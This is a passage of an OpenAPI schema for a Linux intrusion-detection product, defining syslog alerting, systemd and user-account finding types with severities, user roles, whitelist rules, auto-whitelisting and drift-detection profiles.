be loaded.","masked":"The unit is masked and cannot start. Masking a security service is a way to disable it.","bad-setting":"The unit file has an invalid setting.","merged":"The unit was merged into another.","stub":"A placeholder with no backing file."},"x-enumSeverities":{"loaded":0,"not-found":2,"error":2,"masked":5,"bad-setting":2,"merged":0,"stub":0}},"SystemdSessionSignal":{"type":"string","title":"SystemdSessionSignal","description":"Findings from a user's systemd session.","enum":["linger","lingering-service-account"],"x-enumDescriptions":{"linger":"The user's services keep running after they log out. Routine for an administrator.","lingering-service-account":"A service account that never logs in is set to keep services running, which it has no reason to do."},"x-enumSeverities":{"linger":2,"lingering-service-account":5}},"SystemdSignal":{"type":"string","title":"SystemdSignal","description":"Findings from a systemd unit.","enum":["masked-unit","unit-failed","stale-unit","ld-preload","user-scope-unit"],"x-enumDescriptions":{"masked-unit":"The unit is masked and cannot start. Masking a security service is a way to disable it.","unit-failed":"The unit entered a failure state.","stale-unit":"The unit is still referenced but its configuration file is gone.","ld-preload":"The unit preloads a library that can intercept everything the service does.","user-scope-unit":"A unit belonging to a single user rather than the system."},"x-enumSeverities":{"masked-unit":5,"unit-failed":2,"stale-unit":2,"ld-preload":5,"user-scope-unit":2}},"SyslogAlert":{"type":"object","required":["id","name","hostname","udp_port","pass_facility","alert_facility","audit_facility","error_facility","transport","use_tls","summary_results","duplicate_alerts","duplicate_summary","full_json_result","ignore_certs","ca_cert_b64"],"properties":{"id":{"description":"Alias for name.","type":"string","deprecated":false},"name":{"description":"A unique, readable name for this syslog entry.","type":"string"},"hostname":{"description":"hostname or IP address used with this syslog entry.","type":"string","format":"uri"},"udp_port":{"description":"UDP port number to use to send syslog data (despite 'udp' in the property name, this is also used for TCP connections).","type":"integer","default":514},"pass_facility":{"description":"Integer Syslog Facility code for Pass Results","type":"integer","default":-1},"alert_facility":{"description":"Integer Syslog Facility code for Alert Results","type":"integer","default":-1},"audit_facility":{"description":"Integer Syslog Facility code for Audit Logs","type":"integer","default":-1},"error_facility":{"description":"Integer Syslog Facility code for Scan Error Logs","type":"integer","default":-1},"transport":{"$ref":"#/components/schemas/SyslogTransport"},"use_tls":{"description":"When using TCP transport, use TLS. This property has no effect if transport is 'udp'.","type":"boolean","default":false},"summary_results":{"description":"Include the summary result JSON rather than the full size result JSON.","type":"boolean","default":false},"duplicate_alerts":{"description":"Send a duplicate alert when the alert is updated with new information.","type":"boolean","default":false},"duplicate_summary":{"description":"When sending duplicate alerts, include the summary result JSON rather than the full size result JSON.","type":"boolean","default":false},"full_json_result":{"description":"Send the complete result document (the same JSON the API returns for the result) in the syslog message with no message size limit. The result_summary and host structured data elements are omitted since the document already contains that metadata. Takes precedence over summary_results and duplicate_summary. Full results may exceed the size of a single UDP datagram, so TCP transport is recommended.","type":"boolean","default":false},"ignore_certs":{"description":"When using TLS, set this property to true to disable certificate validation. This property has no effect unless transport=tcp and use_tls=true.","type":"boolean","default":false},"ca_cert_b64":{"description":"Optional base64-encoded PEM-format certificate to append to the system certificate pool to use for syslog TLS server certificate validation. This property has no effect unless transport=tcp, use_tls=true, and ignore_certs=false.","type":"string"}}},"SyslogTransport":{"description":"syslog transport to use - TCP or UDP.","type":"string","default":"udp","enum":["udp","tcp"]},"SyslogAlerts":{"properties":{"data":{"description":"Syslog entries","items":{"type":"object"},"type":"array"},"total":{"description":"Total number of records found.","format":"int32","type":"integer"}},"type":"object"},"SystemError":{"type":"object"},"SystemHosts":{"description":"Host object containing what was discovered about a host as it was added to the system inventory.","properties":{"active":{"description":"Is this host active (valid credentials and login)?","type":"boolean"},"authentication_status":{"description":"What is the state of the authentication? ok, failed, error","type":"string"},"credentials_id":{"description":"credentials_id to use for logging into this host.","type":"string"},"data":{"description":"Raw data of system information collected.","nullable":true,"properties":{},"type":"object"},"date_first_seen":{"description":"Date first saw this host.","format":"date-time","nullable":true,"type":"string"},"date_last_seen":{"description":"Last time we saw this host.","format":"date-time","nullable":true,"type":"string"},"first_seen_ip_addr":{"description":"First IP address we saw for this host.","nullable":true,"type":"string"},"host_id":{"description":"A unique ID for this host (ssh key fingerprint), or the host_name if we saw no SSH.","type":"string"},"host_name":{"description":"The hostname or IP of the host.","type":"string"},"last_seen_ip_addr":{"description":"Last IP address we saw for this host.","nullable":true,"type":"string"},"os":{"description":"Operating system data collected.","nullable":true,"properties":{},"type":"object"},"run_id":{"description":"Unique Run ID used to get this information.","type":"string"},"ssh_key_fingerprint":{"description":"SSH fingerprint of remote host.","nullable":true,"type":"string"},"ssh_port":{"description":"SSH port used for this host.","format":"int32","type":"integer"},"tags":{"description":"A list of tags for this host.","items":{"type":"string"},"type":"array"},"version":{"description":"Version type for this record.","format":"int32","type":"integer"}},"type":"object"},"SystemResults":{"type":"object"},"TagSummary":{"description":"An collection of tags with totals.","items":{"type":"object","required":["tag","total"],"properties":{"tag":{"type":"string","description":"Unique display name for tag."},"total":{"type":"integer","description":"Total number of tags."}}},"type":"array"},"TagsStatus":{"type":"string","enum":["Collection","Command And Control","Credential Access","Defense Evasion","Directory","Discovery","Execution","Exfiltration","File","Impact","Initial Access","Lateral Movement","Log","Persistence","Policy","Privilege Escalation","Process","Recon","User"]},"ResultTagCategory":{"type":"string","enum":["tactic","technique","sandfly_type","custom"],"description":"Tag category."},"StandardTimeBasedGraphData":{"type":"object","required":["total","data"],"properties":{"total":{"type":"integer"},"data":{"type":"array","items":{"type":"object","required":["time","value"],"properties":{"time":{"type":"string"},"value":{"type":"integer"}}}}}},"TimeBasedTotalGraphData":{"type":"object","required":["total","data"],"properties":{"total":{"type":"integer"},"data":{"type":"array","items":{"type":"object","required":["time","total"],"properties":{"time":{"type":"string"},"total":{"type":"integer"}}}}}},"StandardTimeRangeDataPoint":{"type":"object","required":["begin","end","count"],"description":"Time interval with a value associated.","properties":{"begin":{"type":"string","format":"date-time","description":"Begin date of this time interval."},"end":{"type":"string","format":"date-time","description":"End date of this time interval."},"count":{"type":"integer","description":"Number of data points during this time interval."}}},"TagsSandflies":{"description":"An array of sandfly tag objects with totals.","items":{"type":"object","required":["tag","total"],"properties":{"tag":{"type":"string","description":"Unique display name for tag."},"total":{"type":"integer","description":"Total number of sandflies with this tag."}}},"type":"array"},"TaskQueues":{"description":"List of task queues.","type":"object","required":["queues"],"properties":{"queues":{"type":"array","items":{"type":"object","required":["name","total"],"properties":{"name":{"type":"string","description":"Task queue name."},"total":{"type":"integer","description":"Number of nodes servicing this queue."}}}}}},"ThreatFeed":{"type":"object","allOf":[{"$ref":"#/components/schemas/ThreatFeedEdit"}],"properties":{"id":{"type":"integer","description":"Database-assigned unique identifier for the threat feed.","readOnly":true},"state":{"type":"string","description":"Current state of the threat feed.","enum":["disabled","pending","ok","error"],"readOnly":true},"last_update":{"type":"string","format":"date-time","nullable":true,"description":"Timestamp of the last update, if the threat feed has ever been loaded.","readOnly":true},"last_update_message":{"type":"string","description":"Message from the last update.","readOnly":true}},"required":["id","state"]},"ThreatFeedEdit":{"type":"object","properties":{"name":{"type":"string","description":"Name of the threat feed."},"description":{"type":"string","description":"Description of the threat feed."},"active":{"type":"boolean","description":"Indicates whether the threat feed is active."},"url":{"type":"string","format":"uri","description":"URL of the threat feed."},"ca_cert_base64":{"type":"string","description":"Optional base64-encoded PEM-format CA certificate for the feed URL if using HTTPS and a custom CA is used."},"lookup_url_template":{"type":"string","description":"Template URL for lookup queries. If a non-empty string, this URL will be presented to users to look up more information about the threat on alert results. The string \"$HASH\" in the URL template will be replaced by the hash that matched."},"interval_minutes":{"type":"integer","description":"Interval in minutes to reload the feed from the source URL."}},"required":["name","description","active","url","ca_cert_base64","lookup_url_template","interval_minutes"]},"User":{"required":["created_date","email","full_name","last_login_date","last_login_ip","logins","logins_failed","logins_failed_count","password","preferences","roles","sso","username"],"properties":{"created_date":{"description":"Date this user was created","format":"date-time","type":"string"},"email":{"description":"Email address for the user.","type":"string","format":"email"},"full_name":{"description":"Full name of user.","type":"string"},"last_login_date":{"description":"Last login date/time for this user.","format":"date-time","nullable":true,"type":"string"},"last_login_ip":{"description":"Last login IP address we saw this user.","format":"string","type":"string"},"logins":{"description":"An comma delimited array of the dates and locations this user has ever logged in from.","items":{"type":"string"},"type":"array"},"logins_failed":{"description":"An comma delimited array of the dates and locations this user has failed logged in from.","items":{"type":"string"},"type":"array"},"logins_failed_count":{"description":"A counter of the number of failed logins from the last successful login. Used to detect brute forcers.","format":"int64","type":"integer"},"password":{"description":"User's password (used for setting during creation; not returned)","type":"string"},"preferences":{"description":"Preferences for user.","type":"string"},"roles":{"description":"Roles this user has access to.","items":{"anyOf":[{"$ref":"#/components/schemas/UserRoles"},{"$ref":"#/components/schemas/MachineRoles"}]},"type":"array"},"sso":{"description":"False for a local Sandfly user, true for an SSO user. Cannot change once user is created.","type":"boolean"},"username":{"description":"Username","type":"string","not":{"enum":["system"]}}},"type":"object"},"SystemUser":{"readOnly":true,"required":["created_date","email","full_name","last_login_date","last_login_ip","logins","logins_failed","logins_failed_count","password","preferences","roles","sso","username"],"properties":{"created_date":{"description":"Date this user was created","format":"date-time","type":"string"},"email":{"description":"Email address for the user.","type":"string","format":"email"},"full_name":{"description":"Full name of user.","type":"string"},"last_login_date":{"description":"Last login date/time for this user.","format":"date-time","nullable":true,"type":"string"},"last_login_ip":{"description":"Last login IP address we saw this user.","format":"string","type":"string"},"logins":{"description":"An comma delimited array of the dates and locations this user has ever logged in from.","items":{"type":"string"},"type":"array"},"logins_failed":{"description":"An comma delimited array of the dates and locations this user has failed logged in from.","items":{"type":"string"},"type":"array"},"logins_failed_count":{"description":"A counter of the number of failed logins from the last successful login. Used to detect brute forcers.","format":"int64","type":"integer"},"password":{"description":"User's password (used for setting during creation; not returned)","type":"string"},"preferences":{"description":"Preferences for user.","type":"string"},"roles":{"description":"Roles this user has access to.","items":{"allOf":[{"$ref":"#/components/schemas/SystemRoles"}]},"type":"array"},"sso":{"description":"False for a local Sandfly user, true for an SSO user. Cannot change once user is created.","type":"boolean"},"username":{"description":"Username","type":"string","enum":["system"]}},"type":"object"},"UserRoles":{"type":"string","enum":["admin","power_user","user","responder"]},"UserSignal":{"type":"string","title":"UserSignal","description":"Findings from a user account.","enum":["uid-0-alias","system-account-with-shell","inferred-user","empty-password","weak-hash","no-shadow-entry","unusual-home","forced-command","key-outside-home","duplicate-key","key-parse-error","key-type-mismatch","legacy-key","writable-key-file","ssh-read-failed"],"x-enumDescriptions":{"uid-0-alias":"uid 0 on a name other than root: a second root account.","system-account-with-shell":"A service account has been given a login shell.","inferred-user":"A user ID that owns files or processes but has no account entry.","empty-password":"The account has no password, so anyone can log in as it.","weak-hash":"The password hash uses an algorithm that is trivially or cheaply cracked.","no-shadow-entry":"The account exists in passwd with no shadow entry.","unusual-home":"The account's home directory is in an unusual place for a real user.","forced-command":"An SSH key for this account is set to run a fixed command on login.","key-outside-home":"An SSH key for this account was found in another account's home directory.","duplicate-key":"The same SSH key is repeated in authorized_keys in more than one place.","key-parse-error":"An SSH key could not be read, so its type is unverified.","key-type-mismatch":"An SSH key's stated type does not match the key itself, a sign of tampering.","legacy-key":"The SSH key uses a weak or deprecated algorithm.","writable-key-file":"The account's SSH key file can be written by others, so anyone can add a key.","ssh-read-failed":"SSH key data could not be read, so the key count is unknown rather than zero."},"x-enumSeverities":{"uid-0-alias":5,"system-account-with-shell":2,"inferred-user":2,"empty-password":5,"weak-hash":5,"no-shadow-entry":4,"unusual-home":5,"forced-command":4,"key-outside-home":5,"duplicate-key":4,"key-parse-error":2,"key-type-mismatch":5,"legacy-key":3,"writable-key-file":5,"ssh-read-failed":2}},"NotificationType":{"type":"string","enum":["syslog","email","webhook"]},"MachineRoles":{"type":"string","enum":["api_result_read","api_scan"]},"SystemRoles":{"type":"string","enum":["system"]},"UserAdd":{"required":["username","roles"],"properties":{"email":{"description":"Optional email address for the user.","nullable":true,"type":"string","format":"email"},"full_name":{"description":"Optional full name of user.","nullable":true,"type":"string"},"password":{"description":"Password","type":"string","nullable":true},"preferences":{"description":"Optional preferences for user.","nullable":true,"type":"string"},"sso":{"type":"boolean","default":false,"nullable":true,"description":"Is user for SSO use."},"roles":{"description":"Roles this user can access.","items":{"anyOf":[{"$ref":"#/components/schemas/UserRoles"},{"$ref":"#/components/schemas/MachineRoles"}]},"type":"array"}},"type":"object"},"UserPassword":{"required":["password"],"properties":{"password":{"description":"new password string","format":"password","type":"string"},"old_password":{"description":"current password string; required when a user is changing their own password","format":"password","type":"string"}},"type":"object"},"UserUpdate":{"properties":{"email":{"description":"Optional email address for the user.","type":"string","format":"email"},"full_name":{"description":"Optional full name of user.","type":"string"},"password":{"description":"Password","type":"string"},"preferences":{"description":"Optional preferences for user.","type":"string"},"roles":{"description":"Roles this user can access.","items":{"type":"string"},"type":"array"}},"type":"object"},"Version":{"properties":{"build_date":{"description":"build date","type":"string"},"copyright":{"description":"copyright string","type":"string"},"node_public_key":{"description":"ed25519 public key of the nodes, according to the server's configuration file","type":"string"},"postgres_version":{"description":"version of the PostgreSQL database server","type":"string"},"server_public_key":{"description":"ed25519 public key of this server","type":"string"},"version":{"description":"version string","type":"string"},"website":{"description":"website string","type":"string"}},"type":"object"},"WhitelistRuleSummary":{"type":"object","required":["id","sandfly","sandflies","all_sandflies","active","all_hosts","host_ids","exclude_sandfly","rule_op","rules","comment","hosts_covered"],"properties":{"id":{"type":"integer","description":"The ID of the whitelist rule."},"sandfly":{"type":"string","description":"The single sandfly associated with this rule, reported only for a rule that applies to exactly one. A rule that applies to several sandflies, or to all of them, reports an empty string here because no one name describes it; read `sandflies` and `all_sandflies` instead.","deprecated":true},"sandflies":{"type":"array","description":"The sandflies this rule applies to. Empty for a rule that applies to all sandflies without naming any.","items":{"type":"string"}},"all_sandflies":{"type":"boolean","description":"Whether the rule applies to every sandfly rather than to the named ones."},"active":{"type":"boolean","description":"If true, the whitelist rule is enabled. If false, the whitelist will not be applied to results."},"all_hosts":{"type":"boolean","description":"Whether the whitelist rule applies to all hosts or not."},"host_ids":{"type":"array","items":{"type":"string","description":"The IDs of the hosts that will have this whitelist rule applied."}},"host_tags":{"description":"Host that match any of these tags will have this whitelist rule applied.","$ref":"#/components/schemas/HostTags"},"exclude_sandfly":{"type":"boolean","description":"If true, this sandfly will not run on configured hosts and disregard any rules."},"rule_op":{"$ref":"#/components/schemas/WhitelistRuleOperator"},"rules":{"type":"array","items":{"type":"string","description":"The rules that qualify a match with a result from this sandfly.","format":"Expr","example":"process.name == 'oldproc' && process.date.created_minutes > 1440"}},"comment":{"type":"string","description":"A comment about this whitelist rule."},"hosts_covered":{"type":"integer","description":"Number of hosts in total covered by rule."}}},"WhitelistRule":{"type":"object","required":["host_info"],"allOf":[{"$ref":"#/components/schemas/WhitelistRuleSummary"}],"properties":{"host_info":{"type":"object","description":"Dictionary of hosts by ID","additionalProperties":{"$ref":"#/components/schemas/HostBriefInfo"}}}},"WhitelistRuleOperator":{"type":"string","enum":["and","or"]},"WhitelistRulesDelete":{"type":"object","required":["whitelist_ids"],"properties":{"whitelist_ids":{"type":"array","description":"Array of whitelist IDs for deletion","items":{"type":"integer","description":"Whitelist IDs"}}}},"WhitelistRuleConfig":{"description":"A rule must say which sandflies it applies to, in one of three ways. `all_sandflies` is used if set; otherwise `sandflies` is used if it is not empty; otherwise the deprecated single `sandfly` is used. A request that gives none of the three is rejected. If both `sandfly` and a non-empty `sandflies` are given, `sandfly` must be one of the names in `sandflies`, or the request is rejected: a client that changes `sandfly` while sending back the `sandflies` it read would otherwise have its change silently ignored.","type":"object","properties":{"sandfly":{"type":"string","description":"Name of the single sandfly this rule relates to. Superseded by `sandflies`, and used only when neither `sandflies` nor `all_sandflies` is given. When sent together with a non-empty `sandflies`, it must be one of the names listed there. To change which sandflies a rule applies to, set `sandflies` and leave this property out.","deprecated":true},"sandflies":{"type":"array","description":"Names of the sandflies this rule applies to.","items":{"type":"string"},"default":[]},"all_sandflies":{"type":"boolean","description":"Apply this rule to every sandfly. Any names in `sandflies` are kept but not used while this is set, so clearing it restores them. Cannot be combined with `exclude_sandfly`, which together would stop every check from running on the matching hosts.","default":false},"all_hosts":{"type":"boolean","description":"Does this rule apply to all hosts. If true, host_ids and host_tags will be ignored.","default":false},"host_ids":{"type":"array","description":"A list of host IDs that will have this rule applied.","items":{"type":"string"},"default":[]},"host_tags":{"type":"array","description":"A list of host tags. If a host matches any tag, it will have this rule applied.","items":{"type":"string"},"default":[]},"rule_op":{"$ref":"#/components/schemas/WhitelistRuleOperator","default":"and"},"rules":{"type":"array","description":"At least one rule is required if this isn't a sandfly exclusion whitelist. Rules are checked when the whitelist is saved: together they may be at most 1048576 bytes (1 MiB) long, and none may use the repeat builtin. A rule that reads data a particular result does not carry -- process fields on a result with no process data, for instance -- does not match that result.","items":{"type":"string","description":"The rules that qualify a match with a result from this sandfly.","format":"Expr","example":"process.name == 'oldproc' && process.date.created_minutes > 1440"},"default":[]},"exclude_sandfly":{"type":"boolean","description":"If true, this sandfly will not run on configured hosts and disregard any rules.","default":false},"active":{"type":"boolean","description":"If true, the whitelist rule is enabled. If false, the whitelist will not be applied to results.","default":true},"comment":{"type":"string","description":"A descriptive comment about this whitelist rule.","default":""}}},"AutoWhitelistRequest":{"type":"object","required":["source_artifacts","whitelist_scope","strictness"],"properties":{"source_artifacts":{"$ref":"#/components/schemas/AutoWhitelistSourceArtifacts"},"whitelist_scope":{"$ref":"#/components/schemas/AutoWhitelistScope"},"strictness":{"type":"string","enum":["permissive","moderate"],"description":"How strict of a match is required for the whitelist to apply. Permissive is a looser set of requirements (such as just the process name and file path), whereas moderate requires more properties to match (such as the actual hash of the process so replacement binaries or new versions won't match)."}}},"AutoWhitelistSourceArtifacts":{"type":"object","description":"The artifacts being whitelisted. At least one of the three lists must be given; any combination may be.","properties":{"artifact_ids":{"type":"array","description":"Artifacts to whitelist, by artifact ID as the /artifacts endpoints report it. Every ID must exist. An artifact that is not currently alerting is skipped and reported in the response rather than whitelisted.","items":{"type":"integer","format":"int64"},"default":[]},"result_ids":{"type":"array","description":"Artifacts to whitelist, identified by an individual sandfly result: each ID is a result ID as the /results endpoints report it, and the artifact that result is associated with is what gets whitelisted. Every ID must exist. Once resolved these are treated exactly as if the artifact had been given in `artifact_ids`, so the rule built from one covers every sandfly alerting on that artifact and not only the sandfly whose result ID was provided. Several results about the same artifact are one source artifact, and the response reports the artifact ID rather than the results.","items":{"type":"string"},"default":[]},"host_sequence_ids":{"type":"array","description":"Hosts whose every currently alerting artifact is to be whitelisted, by host sequence ID. Every ID must exist. A host with nothing alerting contributes nothing.","items":{"type":"integer"},"default":[]}}},"AutoWhitelistScope":{"type":"object","description":"How far the created rules reach. Every rule the request creates gets this host scope. The sandflies a rule covers are decided per rule.","properties":{"all_sandflies":{"type":"boolean","description":"If true, each rule applies to every sandfly. If false, each rule applies to the sandflies currently alerting on the artifacts it was built from, so a rule built from a process two sandflies flagged covers those two sandflies and no other.","default":false},"all_hosts":{"type":"boolean","description":"If true, the rules apply to all hosts, and `host_sequence_ids` and `host_tags` are ignored. If false, at least one of them must be given.","default":false},"host_tags":{"description":"Hosts with any of these tags will have the rules applied. Tags match without regard to case.","$ref":"#/components/schemas/HostTags"},"host_sequence_ids":{"type":"array","description":"Hosts that will have the rules applied, by host sequence ID. Every ID must exist.","items":{"type":"integer"},"default":[]}}},"AutoWhitelistResponse":{"type":"object","required":["whitelist_rules","skipped_artifacts","results_updated","artifacts_passed","hosts_updated"],"properties":{"whitelist_rules":{"type":"array","description":"The whitelist rules created, one per distinct source artifact. Empty when nothing could be whitelisted.","items":{"$ref":"#/components/schemas/AutoWhitelistCreatedRule"}},"skipped_artifacts":{"type":"array","description":"Source artifacts no rule was built from, each with the reason. Empty when every source artifact was covered.","items":{"$ref":"#/components/schemas/AutoWhitelistSkippedArtifact"}},"results_updated":{"type":"integer","description":"How many per-sandfly results were changed from alert to a whitelisted pass, across all hosts in scope."},"artifacts_passed":{"type":"integer","description":"How many artifacts, across all hosts in scope, no longer have any sandfly alerting on them as a result. An artifact another sandfly outside the rules' scope is still alerting on stays alerting and is not counted."},"hosts_updated":{"type":"integer","description":"How many hosts had at least one result changed."}}},"AutoWhitelistCreatedRule":{"type":"object","description":"One whitelist rule the request created. Its host scope is the request's `whitelist_scope` and is not repeated here; GET /whitelistrules/{whitelist_id} reports the rule in full.","required":["id","sandflies","all_sandflies","rule_op","rules","comment","artifact_ids"],"properties":{"id":{"type":"integer","description":"The ID of the new whitelist rule."},"sandflies":{"type":"array","description":"The sandflies the rule applies to: those that were alerting on the rule's source artifacts. Empty when `all_sandflies` is true.","items":{"type":"string"}},"all_sandflies":{"type":"boolean","description":"Whether the rule applies to every sandfly."},"rule_op":{"$ref":"#/components/schemas/WhitelistRuleOperator"},"rules":{"type":"array","description":"The rule's expr expressions, one per artifact property, each matching the property of the source artifact(s).","items":{"type":"string","format":"Expr","example":"process.path == `/usr/sbin/nginx`"}},"comment":{"type":"string","description":"A generated comment recording which artifact the rule was built from, on which host, at which strictness."},"artifact_ids":{"type":"array","description":"The source artifacts the rule was built from: the artifacts the request named that share this rule's identity at the chosen strictness.","items":{"type":"integer","format":"int64"}}}},"AutoWhitelistSkippedArtifact":{"type":"object","required":["artifact_id","reason"],"properties":{"artifact_id":{"type":"integer","format":"int64","description":"The source artifact no rule was built from."},"reason":{"type":"string","description":"Why: the artifact is not alerting, has been superseded, is of a type with no whitelist properties, has no match hash at the chosen strictness, has no sandfly alerting on it, or its stored data could not be read."}}},"HostBriefInfo":{"type":"object","required":["id","host_sequence_id","hostname","node_name","date_last_seen","last_seen_ip_addr","active"],"properties":{"id":{"type":"string","description":"The ID of the host."},"host_sequence_id":{"type":"integer","description":"Sequence ID of the host."},"hostname":{"type":"string","description":"The hostname of the host."},"node_name":{"type":"string","description":"The node name of the host."},"date_last_seen":{"type":"string","description":"The date the host was last seen."},"last_seen_ip_addr":{"type":"string","description":"The last seen IP address of the host."},"active":{"type":"boolean","description":"Whether the host is active or not. Maintained by Sandfly as hosts are scanned; it is not user-settable."}}},"WhitelistRuleIds":{"properties":{"whitelist_ids":{"description":"List of whitelist_ids.","items":{"type":"integer"},"type":"array"}},"type":"object"},"ProfileType":{"type":"string","readOnly":true,"enum":["legacy_profile","autodrift_profile"],"description":"Legacy or autodrift profile."},"ProfileMeta":{"type":"object","properties":{"type":{"$ref":"#/components/schemas/ProfileType"},"id":{"type":"integer","readOnly":true,"description":"Unique ID assigned by the server for this result profile."},"state":{"$ref":"#/components/schemas/ProfileState"},"paused":{"type":"boolean","default":false,"description":"Indicates if this profile is paused. When paused, no drift alerts will be generated on the associated hosts, nor will results be whitelisted."},"scan_schedule":{"type":"boolean","readOnly":true,"description":"Indicates if this is a drift profile that is configured to have an associated drift scan schedule."},"create_date":{"type":"string","readOnly":true,"description":"Date this result profile was created."},"hosts_covered_whitelist":{"type":"integer","description":"The number of distinct hosts, either directly or via tags, that this result profile applies to in 'whitelist' mode."},"hosts_covered_drift":{"type":"integer","description":"The number of distinct hosts, either directly or via tags, that this result profile applies to in 'drift' mode."},"total_sandflies":{"type":"integer","description":"The number of distinct sandflies that this result profile includes results for."}},"required":["id","state","paused","create_date","type"]},"ProfileState":{"type":"string","readOnly":true,"description":"Whether this profile is in gather or enforce mode.","enum":["gather","enforce"]},"ProfileCommon":{"type":"object","properties":{"name":{"type":"string","description":"Display name of this result profile."},"description":{"type":"string","description":"Description of this result profile."}},"required":["name"]},"HostLink":{"oneOf":[{"type":"object","required":["host_id"],"properties":{"host_id":{"type":"string","description":"Host ID. If host_sequence_id is populated, this cannot be populated."}}},{"type":"object","required":["host_sequence_id"],"properties":{"host_sequence_id":{"type":"integer","description":"Host sequence_id. If host_id is populated, this cannot be populated."}}}]},"ProfileAppendRequest":{"oneOf":[{"$ref":"#/components/schemas/ProfileAppendHostsResults"},{"$ref":"#/components/schemas/ProfileAppendResults"},{"$ref":"#/components/schemas/ProfileAppendArtifacts"},{"$ref":"#/components/schemas/ProfileAppendHostsSandflies"}]},"ProfileAppendHostsResults":{"type":"object","required":["hosts","user_note"],"properties":{"hosts":{"description":"List of Host IDs to take a results snapshot of for this result profile.","type":"array","items":{"$ref":"#/components/schemas/HostLink"}},"user_note":{"description":"User-provided descriptive note explaining the results that are being added.","type":"string"}}},"ProfileAppendResults":{"type":"object","required":["result_ids","user_note"],"properties":{"result_ids":{"description":"List of individual result IDs to take a snapshot of for this result profile. These are the per-sandfly result IDs, such as the `id` of each entry in an artifact's `sandfly_results`.","type":"array","items":{"type":"integer"}},"user_note":{"description":"User-provided descriptive note explaining the results that are being added.","type":"string"}}},"ProfileAppendArtifacts":{"type":"object","required":["artifact_ids","user_note"],"properties":{"artifact_ids":{"description":"List of artifact IDs to take a snapshot of for this result profile. Every sandfly's result on each artifact is added.","type":"array","items":{"type":"integer","format":"int64"}},"user_note":{"description":"User-provided descriptive note explaining the results that are being added.","type":"string"}}},"ProfileAppendHostsSandflies":{"type":"object","required":["host_sandflies","user_note"],"properties":{"host_sandflies":{"description":"Sandflies on a specific host to take a snapshot of for this result profiles.","type":"object","allOf":[{"$ref":"#/components/schemas/HostLink"}],"required":["sandflies"],"properties":{"sandflies":{"type":"array","items":{"type":"string"},"description":"Sandflies from which to add results."}}},"user_note":{"description":"User-provided descriptive note explaining the results that are being added.","type":"string"}}},"ProfileCreateRequest":{"description":"Result profile details.","allOf":[{"$ref":"#/components/schemas/ProfileCommon"},{"$ref":"#/components/schemas/ProfileAppendRequest"}],"properties":{"associations":{"$ref":"#/components/schemas/ProfileAssociations"}}},"ProfileAutoDriftOptions":{"type":"object","description":"Options that are only relevant for auto-drift result profiles.","required":["scope","model_hosts","covered_hosts","gather_options","schedule_options"],"properties":{"scope":{"$ref":"#/components/schemas/ProfileAutoScope"},"model_hosts":{"description":"The hosts to use as the model (i.e. template) hosts for expected results.","$ref":"#/components/schemas/ProfileAutoHosts"},"covered_hosts":{"description":"The hosts that this profile should detect drift on (and optionally whitelist) after the results from the model host(s) are gathered.","$ref":"#/components/schemas/ProfileAutoHosts"},"gather_options":{"description":"When present, this profile will enter gather mode and run gather schedules as configured. If null, no gather schedule will be created and the profile will immediately enter enforcing mode.","nullable":true,"$ref":"#/components/schemas/ProfileGatherOptions"},"schedule_options":{"description":"When present, the new profile will automatically have a scan schedule associated with it that scans the covered hosts with the selected sandflies for drift detection. If null, no scan schedule will be created.","nullable":true,"$ref":"#/components/schemas/ProfileScheduleOptions"}}},"ProfileAutoHosts":{"type":"object","description":"Hosts, included by tag or specific host IDs, to use as the model or covered hosts in an auto-drift result profile.","required":["host_sequence_ids","host_tags","apply_host_tags"],"properties":{"host_sequence_ids":{"type":"array","items":{"type":"integer"},"description":"A list of host sequence IDs."},"host_tags":{"type":"array","items":{"type":"string"},"description":"A list of host tags."},"apply_host_tags":{"type":"array","items":{"type":"string"},"description":"Tags in this array will be applied (added to) the listed host IDs. This allows users to select some hosts and add new tags to them at the same time instead of needing to separately tag hosts first. When tags are present in this list, the individual hosts will be removed from the final profile associations and be included by tag instead."}}},"ProfileAutoDriftTemplate":{"type":"object","properties":{"name":{"type":"string","description":"The name of the template."},"description":{"type":"string","description":"A description of the template's purpose."},"sandflies":{"type":"array","description":"A list of sandflies associated with the template.","items":{"type":"string"}},"ignore_containers":{"type":"boolean","description":"Ignore container results for the profile."},"strictness":{"$ref":"#/components/schemas/ProfileHashType"},"whitelist":{"type":"boolean","description":"In addition to drift, should the resulting profile whitelist alerts found on the model hosts."}},"required":["name","description","ignore_containers","sandflies","strictness","whitelist"]},"ProfileAutoScope":{"type":"object","description":"Scope definition for autodrift profiles.","required":["sandflies","strictness","whitelist","ignore_containers"],"properties":{"sandflies":{"type":"array","items":{"type":"string"},"description":"The list of sandflies to use for drift detection."},"strictness":{"$ref":"#/components/schemas/ProfileHashType"},"whitelist":{"type":"boolean","default":false,"description":"If true, any alert results on the model host(s) will be whitelisted on the covered host(s) by the profile."},"ignore_containers":{"description":"When true, container results will not be affected by this profile.","type":"boolean","default":false}}},"ProfileGatherOptions":{"type":"object","description":"Options to control the result gathering schedule for an auto-drift profile.","properties":{"gather_hours":{"type":"integer","description":"How many hours to run scans to gather results for this auto-drift profile before automatically switching to 'enforcing' mode and generating drift alerts on the covered host(s). Typical values may be 24 or 48 hours."},"scan_minutes":{"type":"integer","description":"How often, in minutes, to run scans against the model host(s) during the gather period. All of the specified sandflies will be run against the host at this interval. Typical values may be 20, 30, 60, etc. minutes."},"full_scan":{"type":"boolean","default":false,"description":"If true, the gather scans on the model hosts will run *all* active sandflies for every scan, not only the requested drift detection recon sandflies. If whitelist is true, this may be desired to whitelist as many expected alerts as possible if any alert on the model host(s) should be considered to be false positives by virtue of the model host(s) being known to be clean, correct model systems."}},"required":["gather_hours","scan_minutes","whitelist","full_scan"]},"ProfileScheduleOptions":{"type":"object","description":"Options to control the scan schedule that is created to scan the covered hosts of a drift profile.","properties":{"minutes_timer_high":{"description":"Upper limit minutes to wait between scans.","format":"int32","type":"integer"},"minutes_timer_low":{"description":"Lower limit of minutes to wait between scans. Cannot be greater than minutes_timer_high.","format":"int32","type":"integer"},"restrict_begin_hour":{"description":"nil or -1 to disable, or a number between 0-24 to indicate the beginning hour (UTC) of the window of time during which this schedule will not run.","format":"int32","type":"integer"},"restrict_end_hour":{"description":"nil or -1 to disable, or a number between 0-24 to indicate the end hour (UTC) of the window of time during which this schedule will not run.","format":"int32","type":"integer"},"priority":{"description":"Nice-compatible priority of scan on target hosts.","format":"int32","type":"integer"},"all_hosts_immediately":{"description":"If true, immediately start scan on all hosts covered by this schedule. If false, scans will be spread out across hosts over the scan schedule 